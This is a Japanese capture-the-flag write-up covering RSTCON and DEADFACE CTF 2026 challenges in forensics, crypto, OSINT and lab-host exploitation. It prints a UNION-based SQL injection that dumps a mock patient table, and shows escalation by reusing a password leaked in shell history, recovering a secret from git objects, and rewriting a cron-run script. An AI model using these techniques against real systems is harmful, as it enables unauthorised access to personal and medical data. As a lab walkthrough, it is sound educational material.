1	CREATE TABLE insurance_claims ( id INTEGER PRIMARY KEY, prescription_id INTEGER NOT NULL REFERENCES prescriptions(id), patient_id INTEGER NOT NULL REFERENCES patients(id), payer TEXT NOT NULL, bin_number TEXT NOT NULL, pcn TEXT NOT NULL, group_id TEXT NOT NULL, member_id TEXT NOT NULL, amount_billed REAL NOT NULL, copay REAL NOT NULL, amount_paid REAL NOT NULL, claim_status TEXT NOT NULL DEFAULT 'approved', submitted_date TEXT NOT NULL, adjudicated_date TEXT )	3	4	5
1	CREATE TABLE inventory ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, ndc TEXT NOT NULL, category TEXT NOT NULL, quantity INTEGER NOT NULL, price REAL NOT NULL )	3	4	5
1	CREATE TABLE patients ( id INTEGER PRIMARY KEY, first_name TEXT NOT NULL, last_name TEXT NOT NULL, date_of_birth TEXT NOT NULL, phone TEXT NOT NULL, email TEXT, address TEXT NOT NULL, allergies TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')) )	3	4	5
1	CREATE TABLE prescriptions ( id INTEGER PRIMARY KEY, patient_id INTEGER NOT NULL REFERENCES patients(id), inventory_id INTEGER NOT NULL REFERENCES inventory(id), prescriber TEXT NOT NULL, dosage TEXT NOT NULL, quantity_disp INTEGER NOT NULL, refills_left INTEGER NOT NULL DEFAULT 0, filled_date TEXT NOT NULL, status TEXT NOT NULL DEFAULT 'active', rx_number TEXT NOT NULL UNIQUE )	3	4	5
1	CREATE TABLE users ( id INTEGER PRIMARY KEY, username TEXT NOT NULL UNIQUE, password_hash TEXT NOT NULL, full_name TEXT NOT NULL, role TEXT NOT NULL DEFAULT 'pharmacist', email TEXT, last_login TEXT, account_locked INTEGER NOT NULL DEFAULT 0, created_at TEXT NOT NULL DEFAULT (datetime('now')) )	3	4	5

以下を入力して、検索する。

Z' union select id,first_name,last_name,date_of_birth,phone from patients --

この結果以下のように表示された。

ID	Medication	NDC	Category	Qty
1	Carlos	Morris	1971-04-05	(512) 555-9935
2	Patricia	Shah	1965-12-21	(737) 555-7873
3	Emma	Campbell	1983-02-03	(512) 555-2584
        :
        :
40	Sharon	Allen	1979-02-19	(512) 555-6111
41	Kathryn	Kowalski	1955-10-26	(512) 555-6688
42	Theresa	Fernandez	1998-12-05	rstcon{p@ss_teh_hydrocod0n3_brah}
43	Joan	Wilson	1975-08-08	(512) 555-7209
44	Stephen	Mehta	1941-09-07	(512) 555-4954
        :
        :
228	Terrence	Hayes	1954-07-05	(737) 555-2641
229	Christine	Morris	1991-03-20	(737) 555-7581
230	Emilio	Powell	1942-06-27	(512) 555-6094

1人の患者のphoneにフラグが設定されていた。

rstcon{p@ss_teh_hydrocod0n3_brah}

Coil Toss (Forensic)

ワークステーション から PLC に書き込んでいるのはFunction Codeが6のもののようだ。
以下でフィルタリングする。

tcp.dstport == 502 && modbus.func_code == 6

書き込んでいる文字を順に書き出す。

fc06_writes_dont_lie
rstcon{fc06_writes_dont_lie}

Layered Catch (Forensic)

$ exiftool catch.png                 
ExifTool Version Number         : 13.25
File Name                       : catch.png
Directory                       : .
File Size                       : 475 bytes
File Modification Date/Time     : 2026:10:24 07:22:30+09:00
File Access Date/Time           : 2026:10:24 07:29:35+09:00
File Inode Change Date/Time     : 2026:10:24 07:22:30+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 64
Image Height                    : 64
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : decoy: the catch is layered, look past the picture
Passphrase                      : t1de_p00ls_run_deep
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 64x64
Megapixels                      : 0.004

$ binwalk catch.png     

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 64 x 64, 8-bit/color RGB, non-interlaced
153           0x99            Zlib compressed data, best compression
248           0xF8            Zip archive data, encrypted at least v1.0 to extract, compressed size: 45, uncompressed size: 33, name: flag.txt
453           0x1C5           End of Zip archive, footer length: 22

pngの後ろにzipがくっついているので、切り出す。

$ dd if=catch.png of=flag.zip bs=1 skip=248              
227+0 records in
227+0 records out
227 bytes copied, 0.0292912 s, 7.7 kB/s

切り出したzipを解凍する。なおパスワードにはEXIFのPassphraseに設定されている文字列を指定する。

$ unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
 extracting: flag.txt
$ cat flag.txt 
rstcon{p0lyglot_png_h1des_a_zip}
rstcon{p0lyglot_png_h1des_a_zip}

Life Savings (Forensic)

PNGだが各チャンクのCRCがすべて00 00 00 00になっている。またIHDRチャンクで設定されている画像の幅と高さが0になっている。
まず高さを固定して幅をブルートフォースで修復する。
幅が1024であることがわかるので、あとは高さのブルートフォースで修復する。

#!/usr/bin/env python3
import struct
import binascii

with open('corrupted.png', 'rb') as f:
    data = f.read()

index = 0
png = data[:8]
index += 8

while index < len(data):
    length_bytes = data[index:index+4]
    length = struct.unpack('>I', length_bytes)[0]
    index += 4
    name = data[index:index+4]
    index += 4
    body = data[index:index+length]
    index += length
    index += 4

    crc_target = name + body
    crc = struct.pack('!I', binascii.crc32(crc_target))
    png += length_bytes + name + body + crc

head = png[:12]
name = png[12:16]
body2 = png[24:29]
tail = png[33:]

for h in range(512, 2048):
    for w in range(1024, 1025):
        width = struct.pack('>I', w)
        height = struct.pack('>I', h)
        ihdr = name + width + height + body2
        crc = struct.pack('!I', binascii.crc32(ihdr))
        out = head + ihdr + crc + tail

        fname = 'recoverd/flag_%04d_%04d.png' % (w, h)
        with open(fname, 'wb') as f:
            f.write(out)

復元した画像にフラグが書いてあった。

rstcon{ka$h_m3_outs1de-howbout_that}

Low Bit Levee (Forensic)

$ zsteg levee.png     
b1,rgb,lsb,xy       .. text: "%rstcon{least_significant_secret_bits}$"
b2,r,lsb,xy         .. file: raw G3 (Group 3) FAX
b2,g,msb,xy         .. text: "uUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b4,r,lsb,xy         .. text: "33\"3UUDEgvfwh"
b4,g,lsb,xy         .. text: "fgvwvwvgwwvwwgvfvwvwvwfgwgfgwwffwgvwvwvgvgvvwwffvgfvffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"                                                                                                           
b4,g,msb,xy         .. text: "fnffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
b4,b,lsb,xy         .. text: "#3\"#\"2\"3#3#EUTDEETDEDEfwwwgwwwwww"
b4,b,msb,xy         .. text: ",\"\"\"\"wwwww"
b4,rgb,lsb,xy       .. text: "c6#s'2s6#rV%cV%rG4rG%rf7cv&cg6sv'sgHe"
b4,rgb,msb,xy       .. text: "6ks6gs6g"
b4,bgr,lsb,xy       .. text: "3c&3s7#r&2s&Se&Ru7Bt'Bu6cg&sf7cv&swGehW"
b4,bgr,msb,xy       .. text: "c;vc7vc7"
rstcon{least_significant_secret_bits}

Setpoint (Forensic)

Infoをソートしてみると、Modbus/TCPのパケットで1つだけWrite Multiple Registersのものがある。そのNo.184のパケットを見ると、以下の文字列が書かれていることがわかった。

high_alarm_disabled_silently
rstcon{high_alarm_disabled_silently}

Life is a Highway (Forensic)

問題文はこうなっていて、logファイルが添付されている。

Found the suspect's car at 38.9166896, -77.2210292 (latitude, longitude) at the top of a parking lot. 
Luckily we implanted his car to pull all the CAN data during the trip, but we forgot to pull GPS coordinates. 
Where did he start his trip??

1Km Tolerance

ChatGPTに聞いてみた。

(1) CANログから、約22 kmの走行を確認
添付ログには 1,740,622フレーム、約29分46秒の記録がある。
車速と車輪速度を復号して積分すると、走行距離は次のようになった。

使用した信号          算出した走行距離
車速 0x0B4	      約22.040 km
四輪の平均速度 0x0AA  約21.978 km

主に利用したCAN IDは以下の通り。

CAN ID  利用した情報          復号の基本形
0x0B4   車速                  ((b5 << 8) | b6) × 0.01 km/h
0x0AA   四輪の速度            各2バイトの値について (raw - 6767) × 0.01 km/h
0x024   旋回速度に対応する値  raw = ((b0 & 3) << 8) | b1
0x025   ハンドル角            左右への旋回の確認に使用

(2) Route 7を東へ走る経路と一致
走行距離と旋回の並びを、取得済みの道路データと照合すると、次の経路が一致

  1. Cascades Parkway付近から出発
  2. Route 7(Leesburg Pike)の東行きに入る
  3. Route 7を約20 km走る
  4. Fashion Boulevardへ左折
  5. Tysons Corner Centerの駐車場に入る

(3) 道路上の位置を決め、最初の約140秒を逆算
旋回情報を約30分間そのまま積分すると、センサーの小さな偏りが累積して位置が大きくずれる。そこで今回は、走行距離に対するカーブの並びをRoute 7の道路形状に合わせる方法で、途中の位置を決めた。

その結果、ログ開始から約140秒後の位置は、次の地点に対応した。

39.028204, -77.397879

この位置と道路の向きを基準に、最初の約140秒の車速・旋回を逆算した結果が、次の座標

39.025003, -77.403270

少し丸めてSubmitしたら、正解となった。

39.0250, -77.4033

Do Not Service (Forensic)

以下でフィルタリングすると、base64文字列の付いたホストの問い合わせを行っていることがわかる。

mdns && ip.addr == 3.143.112.103 && udp.dstport == 5353

複数あるので、まず書き出す。

www.AA1NYXR0aGV3IFlvdW5n.org
www.ABNDaHJpc3RvcGhlciBNaXJhbmRh.net
www.ABBTdGVwaGFuaWUgT2JyaWVu.org
www.ABFNcnMuIE5hbmN5IE1pbGxlcg==.xyz
www.AAlKbyBOZXd0b24=.com
www.AAxIZWF0aGVyIFNpbXM=.xyz
www.AAxKb3NodWEgSm9uZXM=.com
www.AA5aYWNoYXJ5IFphbW9yYQ==.club
www.AAtEYXZpZCBKb25lcw==.org
www.AA1Sb2JlcnQgTmd1eWVu.com
www.ABFEci4gU2FyYWggV2Vic3Rlcg==.com
www.AA9Kb2hubnkgUGhpbGxpcHM=.com
www.ABBTdGVwaGFuaWUgR2FyY2lh.org
www.ABBLaW1iZXJseSBTYWxhemFy.com
www.AA1Sb2JlcnQgTWlsbGVy.net
www.AA1KdWRpdGggV2F0c29u.com
www.AA5UYW1teSBDaGFuZGxlcg==.net
www.AAxEcmV3IFN1bW1lcnM=.org
www.AAxTYXJhIE1jY2xhaW4=.net
www.ABFDaHJpc3RvcGhlciBMZXdpcw==.xyz
www.ABBCaWxseSBNZW5kZXogRERT.xyz
www.AAxEYXJpdXMgQ2xhcms=.com
www.AAlKYW1lcyBMZWU=.club
www.AB1yc3Rjb257ZDBtYWluX25AbTNfRVhQYW5zaTBufQ==.com
www.AAxUaW5hIEJvbmlsbGE=.club
www.AA1DYXJsb3MgTWVkaW5h.club
www.AA1TaGFyaSBIaWdnaW5z.club
www.AA5EYW5pZWxsZSBGcm9zdA==.net
www.AA1BZGFtIEdyaWZmaXRo.com
www.AA5NaWNoZWxsZSBCbGFjaw==.org

スクリプトで各base64文字列のデコードを行う。

#!/usr/bin/env python3
from base64 import *

hosts = [
    'www.AA1NYXR0aGV3IFlvdW5n.org',
    'www.ABNDaHJpc3RvcGhlciBNaXJhbmRh.net',
    'www.ABBTdGVwaGFuaWUgT2JyaWVu.org',
    'www.ABFNcnMuIE5hbmN5IE1pbGxlcg==.xyz',
    'www.AAlKbyBOZXd0b24=.com',
    'www.AAxIZWF0aGVyIFNpbXM=.xyz',
    'www.AAxKb3NodWEgSm9uZXM=.com',
    'www.AA5aYWNoYXJ5IFphbW9yYQ==.club',
    'www.AAtEYXZpZCBKb25lcw==.org',
    'www.AA1Sb2JlcnQgTmd1eWVu.com',
    'www.ABFEci4gU2FyYWggV2Vic3Rlcg==.com',
    'www.AA9Kb2hubnkgUGhpbGxpcHM=.com',
    'www.ABBTdGVwaGFuaWUgR2FyY2lh.org',
    'www.ABBLaW1iZXJseSBTYWxhemFy.com',
    'www.AA1Sb2JlcnQgTWlsbGVy.net',
    'www.AA1KdWRpdGggV2F0c29u.com',
    'www.AA5UYW1teSBDaGFuZGxlcg==.net',
    'www.AAxEcmV3IFN1bW1lcnM=.org',
    'www.AAxTYXJhIE1jY2xhaW4=.net',
    'www.ABFDaHJpc3RvcGhlciBMZXdpcw==.xyz',
    'www.ABBCaWxseSBNZW5kZXogRERT.xyz',
    'www.AAxEYXJpdXMgQ2xhcms=.com',
    'www.AAlKYW1lcyBMZWU=.club',
    'www.AB1yc3Rjb257ZDBtYWluX25AbTNfRVhQYW5zaTBufQ==.com',
    'www.AAxUaW5hIEJvbmlsbGE=.club',
    'www.AA1DYXJsb3MgTWVkaW5h.club',
    'www.AA1TaGFyaSBIaWdnaW5z.club',
    'www.AA5EYW5pZWxsZSBGcm9zdA==.net',
    'www.AA1BZGFtIEdyaWZmaXRo.com',
    'www.AA5NaWNoZWxsZSBCbGFjaw==.org'
]

for host in hosts:
    b64 = host.split('.')[1]
    print(b64decode(b64))

実行結果は以下の通り。

b'\x00\rMatthew Young'
b'\x00\x13Christopher Miranda'
b'\x00\x10Stephanie Obrien'
b'\x00\x11Mrs. Nancy Miller'
b'\x00\tJo Newton'
b'\x00\x0cHeather Sims'
b'\x00\x0cJoshua Jones'
b'\x00\x0eZachary Zamora'
b'\x00\x0bDavid Jones'
b'\x00\rRobert Nguyen'
b'\x00\x11Dr. Sarah Webster'
b'\x00\x0fJohnny Phillips'
b'\x00\x10Stephanie Garcia'
b'\x00\x10Kimberly Salazar'
b'\x00\rRobert Miller'
b'\x00\rJudith Watson'
b'\x00\x0eTammy Chandler'
b'\x00\x0cDrew Summers'
b'\x00\x0cSara Mcclain'
b'\x00\x11Christopher Lewis'
b'\x00\x10Billy Mendez DDS'
b'\x00\x0cDarius Clark'
b'\x00\tJames Lee'
b'\x00\x1drstcon{d0main_n@m3_EXPansi0n}'
b'\x00\x0cTina Bonilla'
b'\x00\rCarlos Medina'
b'\x00\rShari Higgins'
b'\x00\x0eDanielle Frost'
b'\x00\rAdam Griffith'
b'\x00\x0eMichelle Black

デコード結果の一つにフラグが含まれていた。

rstcon{d0main_n@m3_EXPansi0n}

ARC4 Reactor (Crypto)

RC4は同じ鍵の場合、平文と暗号文のXORが同じになる。このことを使ってdocuments.zipを復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('arc_reactor.png', 'rb') as f:
    pt0 = f.read()

with open('arc_reactor.png.enc', 'rb') as f:
    ct0 = f.read()

with open('documents.zip.enc', 'rb') as f:
    ct1 = f.read()

key = strxor(pt0, ct0)
pt1 = strxor(key[:len(ct1)], ct1)

with open('documents.zip', 'wb') as f:
    f.write(pt1)

復号したdocuments.zipを解凍すると、split funny atoms haha.pdfが展開される。このPDFを開くと、最後のページにフラグが書いてあった。

rstcon{n3utronz_Go_BRRRR}

Brackish Key (Crypto)

問題文に出てくる"SecurityShrimp"が平文の冒頭にあると推測し、XORを見てみる。

>>> from Crypto.Util.strxor import strxor
>>> ct = "3117521b170b06483d0d101b5c1e45041b540201421c5e1a0058524301110306540a45161a544e000c155009000f175f1a450100540a1642065e000c051a4540450f13580011071c500006075245010e071c1107164200421a060d1c4a0d1753106e0a\17031556070b052d4506003d10430f06091b42063a0917481345061d11000a16525d0b0414171107114201581a110b1c564e0a0c524506004205581c00421c54161142065803004c"
>>> ct = bytes.fromhex(ct)
>>> key = b"SecurityShrimp"
>>> strxor(ct[:len(key)], key)
b'br1nebr1nebr1n

"br1ne"をXOR鍵として復号できそう。

>>> key = b"br1ne"
>>> n = len(ct) // len(key) + 1
>>> key = (key * n)[:len(ct)]
>>> strxor(key, ct)
b'SecurityShrimp field note: rotated the engagement creds tonight. maintenance token is rstcon{cr1b_dragging_the_brackish_key} do not leave it sitting on the wire next time.'
rstcon{cr1b_dragging_the_brackish_key}

Intercepted (Crypto)

CyberChefで、以下の順にデコードする。

  • From Hex
  • From Base64
  • Reverse
  • From Base32
rstcon{p33l_the_3ncoding_0ni0n}

Shallow Exponent (Crypto)

RSA暗号だが、nが極端に大きく、eは小さい。Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('shallow-exponent.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[2].split()[-1])
c = int(params[3].split()[-1])

m, success = gmpy2.iroot(c, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
rstcon{cube_root_a_tiny_exponent}

Feedback (Misc)

アンケートに答えたらフラグが表示された。

rstcon{@ppreci@te-teh-f33db@ck}

DEADFACE CTF 2026 Writeup

この大会は2026/10/17 23:00(JST)~2026/10/19 0:00(JST)に開催されました。
今回は個人で参戦。結果は1631点でした。順位はスコアボードも見れなくなりわかりません。
自分で解けた問題をWriteupとして書いておきます。

AI Rule (Miscellaneous 0)

AI の使用に関するルールの記載に承諾する。
承諾する場合は書かれているフラグを投入することになっている。

deadface{i_agree}

Starter (Miscellaneous 1)

問題にフラグが書いてあった。

deadface{th1s_1s_4n_ex4mpl3_fl4g}

Car Crash (OSINT 50)


問題文はこうなっている。

DEADFACE has been researching companies connected to one of their latest targets. Among the files recovered was a photo of a traffic accident involving a commercial truck.

We believe the truck may identify a company DEADFACE has taken an interest in. Determine which company owns the truck and when that company was founded.

Submit the flag as: deadface{MM_DD_YYYY}. Example: deadface{01_20_2026}

トラックに「USDOT: 080806」と書いてあるのが見える。これを検索すると、AI による概要に以下のように表示された。

USDOT 080806(または USDOT 80806)は、米国の最大手物流・運送会社の一つである
J.B. Hunt Transport Inc(ジェイビー・ハント・トランスポート)に割り当てられている
米国運輸省(USDOT)の識別番号です。

「j.b. hunt transport inc 設立 いつ」で検索すると、AI による概要に以下のように表示された。

J.B.ハント・トランスポート・サービシズ(J.B. Hunt Transport Services, Inc.)の設立年は1961年(1961年8月10日)です。
deadface{08_10_1961}

Foothold on Charon (Hostbusters 10)

charon:~$ ls -l
total 4
-rw-r-----    1 svc-depl svc-depl        33 Oct 18 01:14 flag.txt
charon:~$ cat flag.txt
deadface{f00th0ld_p4st_th3_v31l}
deadface{f00th0ld_p4st_th3_v31l}

Looking Back (Hostbusters 30)

charon:~$ ls -la
total 16
drwxr-x---    2 svc-depl svc-depl      4096 Oct 18 17:24 .
drwxr-xr-x    1 root     root          4096 Oct 18 17:24 ..
-rw-------    1 svc-depl svc-depl       196 Oct 18 17:24 .bash_history
-rw-r-----    1 svc-depl svc-depl        33 Oct 18 17:24 flag.txt
charon:~$ cat .bash_history
cd /opt/deploy
cat README.txt
systemctl status charon-collector.service || true
# ticket OPS-4471: rotate member pw after onboarding
echo "deephax:Sk4t3rB0y_S1nce_2011" | sudo chpasswd
history -c
charon:~$ su deephax
Password: 
charon:/home/svc-deploy$ id
uid=1002(deephax) gid=1002(deephax) groups=1002(deephax),1002(deephax)
charon:/home/svc-deploy$ cd ../deephax
charon:~$ ls -la
total 20
drwxr-x---    3 deephax  deephax       4096 Oct 18 17:24 .
drwxr-xr-x    1 root     root          4096 Oct 18 17:24 ..
-rw-r-----    1 deephax  deephax         34 Oct 18 17:24 flag.txt
drwxr-xr-x    3 deephax  deephax       4096 Oct 18 17:24 kingmaker-scraper
-rw-r-----    1 deephax  deephax        141 Oct 18 17:24 notes.txt
charon:~$ cat flag.txt
deadface{sh3ll_h1st0ry_t3lls_4ll}
deadface{sh3ll_h1st0ry_t3lls_4ll}

Git Good (Hostbusters 100)

charon:~$ cat notes.txt
reminder: I committed the scraper service pw by accident and "removed" it
in the next commit. must scrub git history properly at some point.
charon:~$ cd kingmaker-scraper
charon:~/kingmaker-scraper$ ls
config.py          gh0st404_note.txt  scraper.py
charon:~/kingmaker-scraper$ cat gh0st404_note.txt
gh0st404 // scrape ops
The nightly collector under /opt/scrape feeds sunstalker's analyst pipeline.
Targets this cycle: TGRI exec calendars, Cronin Group filings
charon:~/kingmaker-scraper$ cat config.py
import os
# scraper service account (secret moved to env — see vault)
SERVICE_USER = "gh0st404"
SERVICE_PW = os.environ.get("SCRAPER_PW", "")
charon:~/kingmaker-scraper$ ls -la
total 24
drwxr-xr-x    3 deephax  deephax       4096 Oct 18 17:24 .
drwxr-x---    3 deephax  deephax       4096 Oct 18 17:24 ..
drwxr-xr-x    8 deephax  deephax       4096 Oct 18 17:24 .git
-rw-r--r--    1 deephax  deephax        144 Oct 18 17:24 config.py
-rw-r--r--    1 deephax  deephax        163 Oct 18 17:24 gh0st404_note.txt
-rw-r--r--    1 deephax  deephax        232 Oct 18 17:24 scraper.py
charon:~/kingmaker-scraper/.git$ ls -l
total 44
-rw-r--r--    1 deephax  deephax         39 Oct 18 17:24 COMMIT_EDITMSG
-rw-r--r--    1 deephax  deephax         23 Oct 18 17:24 HEAD
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 branches
-rw-r--r--    1 deephax  deephax         92 Oct 18 17:24 config
-rw-r--r--    1 deephax  deephax         73 Oct 18 17:24 description
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 hooks
-rw-r--r--    1 deephax  deephax        297 Oct 18 17:24 index
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 info
drwxr-xr-x    3 deephax  deephax       4096 Oct 18 17:24 logs
drwxr-xr-x   12 deephax  deephax       4096 Oct 18 17:24 objects
drwxr-xr-x    4 deephax  deephax       4096 Oct 18 17:24 refs
charon:~/kingmaker-scraper/.git$ cd objects
charon:~/kingmaker-scraper/.git/objects$ ls -lR
.:
total 40
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 02
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 13
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 95
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 a2
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 bf
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 d0
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 d8
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 f7
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 info
drwxr-xr-x    2 deephax  deephax       4096 Oct 18 17:24 pack

./02:
total 4
-r--r--r--    1 deephax  deephax        128 Oct 18 17:24 6b5f6fd348460f810bdda3d5931f10341fc11c

./13:
total 4
-r--r--r--    1 deephax  deephax        201 Oct 18 17:24 1eea852c2c509e4cf11fef49afd4577627aa92

./95:
total 4
-r--r--r--    1 deephax  deephax        133 Oct 18 17:24 b064e97588a0da6df33789aa4a833fb2e12188

./a2:
total 4
-r--r--r--    1 deephax  deephax        128 Oct 18 17:24 a3b68b7ed8838ed27336f1a5d393ecf125a1c7

./bf:
total 4
-r--r--r--    1 deephax  deephax        167 Oct 18 17:24 5cde2327c32961dda47f166812dda41a1cb42e

./d0:
total 4
-r--r--r--    1 deephax  deephax         87 Oct 18 17:24 54ed34ad17859db71330d282648c1c63e24fc1

./d8:
total 4
-r--r--r--    1 deephax  deephax        145 Oct 18 17:24 8b3113f429c17dcecf7fb8e11000c26027b978

./f7:
total 4
-r--r--r--    1 deephax  deephax        145 Oct 18 17:24 e7af860e1cc468e30413baea2ecd9fb3d61904

./info:
total 0

./pack:
total 0
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p 026b5f6fd348460f810bdda3d5931f10341fc11c
100644 blob d054ed34ad17859db71330d282648c1c63e24fc1    config.py
100644 blob d88b3113f429c17dcecf7fb8e11000c26027b978    gh0st404_note.txt
100644 blob 131eea852c2c509e4cf11fef49afd4577627aa92    scraper.py
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p 131eea852c2c509e4cf11fef49afd4577627aa92
#!/usr/bin/env python3
"""kingmaker-scraper — collects target exec footprints for the op."""
from config import SERVICE_USER, SERVICE_PW

def main():
    print(f"[+] auth as {SERVICE_USER}")

if __name__ == "__main__":
    main()
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p 95b064e97588a0da6df33789aa4a833fb2e12188
tree 026b5f6fd348460f810bdda3d5931f10341fc11c
author deephax <deephax@charon> 1792344290 +0000
committer deephax <deephax@charon> 1792344290 +0000

initial scraper + service config
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p a2a3b68b7ed8838ed27336f1a5d393ecf125a1c7
100644 blob f7e7af860e1cc468e30413baea2ecd9fb3d61904    config.py
100644 blob d88b3113f429c17dcecf7fb8e11000c26027b978    gh0st404_note.txt
100644 blob 131eea852c2c509e4cf11fef49afd4577627aa92    scraper.py
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p bf5cde2327c32961dda47f166812dda41a1cb42e
tree a2a3b68b7ed8838ed27336f1a5d393ecf125a1c7
parent 95b064e97588a0da6df33789aa4a833fb2e12188
author deephax <deephax@charon> 1792344290 +0000
committer deephax <deephax@charon> 1792344290 +0000

move service pw out of source into env
charon:~/kingmaker-scraper/.git/objects$ git cat-file -p d054ed34ad17859db71330d282648c1c63e24fc1
# scraper service account
SERVICE_USER = "gh0st404"
SERVICE_PW = "Gh0stInTh3Sh3ll_404"
charon:~/kingmaker-scraper/.git/objects$ su gh0st404
Password: 
charon:/home/deephax/kingmaker-scraper/.git/objects$ id
uid=1003(gh0st404) gid=1003(gh0st404) groups=1003(gh0st404),1003(gh0st404)
charon:/home/deephax/kingmaker-scraper/.git/objects$ cd
charon:~$ ls -la
total 16
drwxr-x---    2 gh0st404 gh0st404      4096 Oct 18 17:24 .
drwxr-xr-x    1 root     root          4096 Oct 18 17:24 ..
-rw-r-----    1 gh0st404 gh0st404       163 Oct 18 17:24 README.txt
-rw-r-----    1 gh0st404 gh0st404        33 Oct 18 17:24 flag.txt
charon:~$ cat flag.txt
deadface{g1t_l0g_sp1lls_s3cr3ts}
deadface{g1t_l0g_sp1lls_s3cr3ts}

On Schedule (Hostbusters 200)

charon:~$ cat README.txt
gh0st404 // scrape ops
The nightly collector under /opt/scrape feeds sunstalker's analyst pipeline.
Targets this cycle: TGRI exec calendars, Cronin Group filings
charon:~$ cd /opt/scrape
charon:/opt/scrape$ ls -la
total 16
drwxr-xr-x    2 gh0st404 gh0st404      4096 Oct 18 17:24 .
drwxr-xr-x    1 root     root          4096 Oct 18 17:24 ..
-rwxr-xr-x    1 gh0st404 gh0st404       147 Oct 18 17:24 collect.sh
charon:/opt/scrape$ cat collect.sh
#!/bin/sh
# nightly collector — maintained by gh0st404, RUN BY sunstalker via cron.
echo "[collect] $(date) scrape cycle ok" >> /tmp/collect.log

collect.shをviで書き換える。

charon:/opt/scrape$ cat collect.sh
#!/bin/sh
# nightly collector — maintained by gh0st404, RUN BY sunstalker via cron.
#echo "[collect] $(date) scrape cycle ok" >> /tmp/collect.log
ls -lRa /home/sunstalker > /tmp/ls.log
charon:/opt/scrape$ cat /tmp/ls.log
/home/sunstalker:
total 16
drwxr-x---    2 sunstalk sunstalk      4096 Oct 18 17:24 .
drwxr-xr-x    1 root     root          4096 Oct 18 17:24 ..
-rw-r-----    1 sunstalk sunstalk        34 Oct 18 17:24 flag.txt
-rw-r-----    1 sunstalk sunstalk       153 Oct 18 17:24 handoff.txt

再度collect.shをviで書き換える。

charon:/opt/scrape$ cat collect.sh
#!/bin/sh
# nightly collector — maintained by gh0st404, RUN BY sunstalker via cron.
#echo "[collect] $(date) scrape cycle ok" >> /tmp/collect.log
cat /home/sunstalker/flag.txt > /tmp/flag.txt
charon:/opt/scrape$ cat /tmp/flag.txt
deadface{cr0n_c4rr13d_my_p4yl04d}
deadface{cr0n_c4rr13d_my_p4yl04d}

Admitted Under Another Name (Database 15)

偽名で登録した著名な患者の記録にVIPとしてマークしていた。その患者の実際の医療記録番号(MRN)を答える必要がある。

aurora> show databases;
+--------------------+
| Database           |
+--------------------+
| aurora_audit       |
| aurora_ehr         |
| aurora_pharmacy    |
| aurora_trials      |
| information_schema |
| performance_schema |
+--------------------+
6 rows in set (0.001 sec)

aurora> use aurora_ehr;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
aurora> show tables;
+----------------------+
| Tables_in_aurora_ehr |
+----------------------+
| clinical_notes       |
| diagnoses            |
| encounters           |
| insurance_plans      |
| patients             |
| providers            |
+----------------------+
6 rows in set (0.002 sec)

aurora> select * from patients;
+------------+------------+------------+-----------+---------------+------------+------+-----------+--------------+---------------------------------+----------------+-----------+-------+-------+--------+---------------------+------------+
| patient_id | mrn        | first_name | last_name | alias         | dob        | sex  | ssn_last4 | phone        | email                           | address        | city      | state | zip   | is_vip | registered_at       | deleted_at |
+------------+------------+------------+-----------+---------------+------------+------+-----------+--------------+---------------------------------+----------------+-----------+-------+-------+--------+---------------------+------------+
|       1001 | AH-4447027 | Ronald     | Thompson  | NULL          | 1954-11-27 | M    | 6464      | 440-555-2227 | ronald.thompson@mail.example    | 5205 Birch Dr  | Crestline | OH    | 44004 |      0 | 2020-09-20 09:00:00 | NULL       |
|       1002 | AH-6641526 | Sharon     | Lewis     | NULL          | 1982-04-24 | F    | 0341      | 440-555-8577 | sharon.lewis@mail.example       | 6898 Oak Dr    | Millbrook | OH    | 44002 |      0 | 2018-06-16 09:00:00 | NULL       |
|       1003 | AH-6102371 | Elizabeth  | Moore     | NULL          | 1979-09-08 | F    | 8373      | 440-555-7162 | elizabeth.moore@mail.example    | 9600 Elm Ave   | Millbrook | OH    | 44002 |      0 | 2016-07-20 09:00:00 | NULL       |
